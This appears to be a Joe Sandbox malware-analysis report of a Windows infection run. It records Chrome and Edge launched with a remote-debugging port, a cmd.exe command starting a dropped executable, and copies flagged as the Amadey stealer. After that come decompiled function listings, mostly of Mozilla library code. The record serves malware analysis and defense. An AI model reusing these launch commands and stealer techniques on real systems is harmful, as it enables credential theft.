Show Windows behavior

Target ID:	2
Start time:	15:59:02
Start date:	11/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6d64d0000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:59:02
Start date:	11/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2136,i,12775639409144419553,11993991066039672041,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:59:11
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:59:12
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2240,i,7192631829384180854,10696300089075255857,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:59:12
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:59:12
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	15:59:17
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4440 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:59:17
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7404 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:59:29
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJJJJKEHCAK.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:59:29
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:59:29
Start date:	11/11/2024
Path:	C:\Users\user\DocumentsJJJJKEHCAK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsJJJJKEHCAK.exe"
Imagebase:	0x10000
File size:	3'330'048 bytes
MD5 hash:	8DB5B5875102EBB49A41696B0EF8F4FF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2480719051.0000000000011000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:59:33
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x520000
File size:	3'330'048 bytes
MD5 hash:	8DB5B5875102EBB49A41696B0EF8F4FF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2477091060.0000000000521000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:59:36
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x520000
File size:	3'330'048 bytes
MD5 hash:	8DB5B5875102EBB49A41696B0EF8F4FF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2506150345.0000000000521000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:00:12
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7404 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

GTC, xrefs: 6C653912
QPC, xrefs: 6C6538FC
AuthcAMDenti, xrefs: 6C653946
GenuntelineI, xrefs: 6C653639
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
[I %d/%d] profiler_init, xrefs: 6C66564E
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
GeckoMain, xrefs: 6C665554, 6C6655D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C69B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69B845
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69B852
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69B884
InitializeConditionVariable.KERNEL32(?), ref: 6C69B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C69B9FD
GetCurrentThreadId.KERNEL32 ref: 6C69BA05
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C69BA27
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69BA4B
free.MOZGLUE(?), ref: 6C69C9C7
free.MOZGLUE(?), ref: 6C69C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C69C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C69C878

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction ID: 752dd629839c1a6c0987d4a292ffdc9fbf9b15080cacb029944776b32ac7a95d
Opcode Fuzzy Hash: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction Fuzzy Hash: FAA2BE71A083818FC721CF29C49079FB7E5BFCA314F144A2DE89997351DB70A949CB9A

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
